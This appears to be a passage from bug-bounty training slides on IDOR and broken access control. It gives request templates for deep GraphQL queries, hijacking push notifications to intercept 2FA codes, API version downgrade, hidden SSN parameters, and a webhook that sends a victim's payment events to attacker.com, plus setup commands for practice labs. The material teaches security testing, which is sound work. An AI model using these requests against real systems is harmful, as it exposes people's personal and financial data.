{"query": "query DeepIDOR {
user(id: \"VICTIM-ID\") {
id
email
privateProfile {
ssn
address
}
friends {
email
posts(visibility: PRIVATE) { content }
}
}
}"}
# Key GraphQL IDOR Techniques:
# - Node ID manipulation: node(id: "base64") - decode, modify, re-encode
# - Introspection: __schema{types{name,fields{name}}}
# - Batch queries: [{query1},{query2}] - bypass rate limiting
# - Alias enumeration: u1:user(id:1){id} u2:user(id:2){id}
Pattern from multiple programs | Push Notification Hijack
# Register attacker's device to victim's account
POST /api/v1/devices/register HTTP/1.1
Host: mobile-api.target.com
X-Device-ID: ATTACKER-DEVICE-UUID
Authorization: Bearer attacker_token
Content-Type: application/json
{
"user_id": "VICTIM-USER-123",
"device_token": "ATTACKER-FCM-TOKEN",
"platform": "android"
}
# Response: Device registered to wrong user
{"status": "success", "push_enabled": true}
# Attacker now receives:
# - Password reset notifications
# - 2FA codes via push
# - Private message alerts
Impact: Push notification hijacking. 2FA bypass potential.
E-commerce | Order State Authorization Gap
# Orders only authorization-checked after "completed" status
# During "in-progress" state, any authenticated user can access
# Normal request (works during processing window):
GET /api/v1/orders/ORD-55123/details HTTP/1.1
Authorization: Bearer attacker_token
# Response: Full details exposed (auth bypassed during this state)
{
"status": "in-progress",
"shipping_address": {
"name": "Victim Name",
"street": "123 Private St"
},
"payment": {"last_four": "4242"}
}
# After order completes, same request returns 403 Forbidden
Testing Approach: Map all states (draft, pending, processing, completed, cancelled). Test access at each transition. Use Turbo Intruder for tight timing windows.
Pattern from multiple programs | Version Bypass
# Modern API - properly secured
GET /api/v3/users/VICTIM-ID/profile HTTP/1.1
Authorization: Bearer attacker_token
# Response: 403 Forbidden
# Downgrade to legacy API - auth missing!
GET /api/v1/users/VICTIM-ID/profile HTTP/1.1
Authorization: Bearer attacker_token
# Response: 200 OK - Full profile!
{
"user_id": "VICTIM-ID",
"email": "victim@email.com",
"ssn": "123-45-6789"
}
# Patterns to test:
/api/v1/ /api/v2/ /api/v3/
/v1/ /v2/ /v3/
/1.0/ /2.0/ /3.0/
/api/ (versionless)
/api-legacy/ /api/internal/ /api/mobile/v1/
Financial Services | Hidden Parameter Discovery
# Original request (from normal app flow)
POST /api/v2/user/profile HTTP/1.1
Content-Type: application/json
{"user_id": "67890", "include_details": true}
# Response: Standard profile data
{"name": "John Doe", "email": "john@example.com"}
# Researcher adds context-guessed parameter
POST /api/v2/user/profile HTTP/1.1
Content-Type: application/json
{"user_id": "67890", "include_details": true, "ssn": true}
# Response: SSN exposed!
{
"name": "John Doe",
"email": "john@example.com",
"ssn": "123-45-6789",
"dob": "1985-03-15"
}
Discovery: Context guess (financial โ ssn, tin) + tools like Arjun, ParamSpider + JS analysis
Pattern from multiple programs | Real-Time Surveillance
# Subscribe to victim's events
POST /api/webhooks HTTP/1.1
Authorization: Bearer attacker_token
Content-Type: application/json
{
"target_account": "VICTIM-ACCOUNT-123",
"callback_url": "https://attacker.com/collect",
"events": ["payment.received", "payment.sent", "message.received"]
}
# Response: Webhook created (no ownership check)
{"webhook_id": "wh-new-789", "status": "active"}
# Attacker's server now receives:
POST /collect HTTP/1.1
Host: attacker.com
{
"event": "payment.received",
"account": "VICTIM-ACCOUNT-123",
"data": {"amount": 5000.00, "from": "customer@email.com"}
}
Impact: Real-time financial surveillance. Transaction monitoring. PII in payloads.
๐ Total Reports: 40+ real disclosed reports
๐ Categories: 12 distinct bug types
๐ฐ Highest Single: $57,750 (Hidden Parameter SSN)
๐ฐ Cumulative Champion: $680,000 (PayPal researcher)
๐ข Platforms: PayPal, Uber, Shopify, GitLab, Vimeo, HackerOne, Mozilla, and 25+ more
"Complete the PortSwigger Web Security Academy - it's the most relevant training I have ever found. It's FREE. Do not cut training short. Each section you skip is payouts down the road you're missing."
โ ZwinK
github.com/Laburity/vulnerable-IDOR-labgithub.com/CyberBishop/GDG-Cyberquest-IDOR-Lab
# OWASP Juice Shop - 100+ challenges, all skill levels
docker run -p 3000:3000 bkimminich/juice-shop
# OWASP WebGoat - Guided lessons
docker run -p 8080:8080 webgoat/webgoat
# OWASP crAPI - API BOLA/IDOR, covers all OWASP API Top 10
# Purpose-built for API security testing!
git clone https://github.com/OWASP/crAPI && cd crAPI
docker-compose up -d
# VAmPI - Flask REST API with BOLA/IDOR, BFLA, mass assignment
docker run -p 5000:5000 erev0s/vampi
# DVGA - GraphQL IDOR, introspection, DoS, injections
docker run -p 5013:5013 dolevf/dvga
# DVWS-node - API IDOR, XXE, SSRF, CORS, web services
# git clone + docker-compose up
# DVWS WebSockets - WebSocket IDOR, injection, auth bypass
docker build -t dvws . && docker run -p 8080:8080 dvws
# Vuln-Tronic-Labs - 8 vulnerable apps, one command!
git clone https://github.com/GitAddRemote/vuln-tronic-labs.git
cd vuln-tronic-labs
make all
# Access points:
# DVWA โ http://localhost:8080
# bWAPP โ http://localhost:8081
# Mutillidae โ http://localhost:8082
# Juice Shop โ http://localhost:3000
# VAmPI โ http://localhost:5000
# DVWS โ http://localhost:8888
# DVGA โ http://localhost:5013/graphiql
# Hackazon โ http://localhost:8083
FREE - The gold standard for IDOR/BAC practice
โญ Unprotected admin functionality
โญ Admin with unpredictable URL
โญ Role controlled by request parameter
โญ Role in user profile modification
โญ Insecure direct object references
โญ URL-based access control bypass
โญ Method-based access control bypass
โญโญ User ID controlled by parameter
โญโญ Unpredictable user IDs
โญโญ Data leakage in redirect
โญโญ Password disclosure
โญโญโญ Multi-step process bypass
โญโญโญ Referer-based access control
๐ portswigger.net/web-security/access-control
AWS:
Multi-Cloud:
โ ๏ธ CloudGoat/TerraGoat deploy REAL cloud resources โ you'll be billed. Destroy after use!
๐ฑ Beginner (2-4 weeks):
๐ฟ Intermediate (4-8 weeks):
๐ณ Advanced (8+ weeks):
"If you skip a feature because you don't want to enter a valid credit card number, for instance, you are likely missing between 2 and 20 different API calls and 3rd party interactions you could have tested."
โ IDORminator
Go deep, practice consistently, don't skip features!
"You're going to failโฆ a lot. But take those moments and celebrate. Learn from them, adjust, and just keep going โ eventually it all comes together."
๐ Happy Hunting!
Arcanum Security Training
v4.1 | 18 Modules + Glossary | 300+ Slides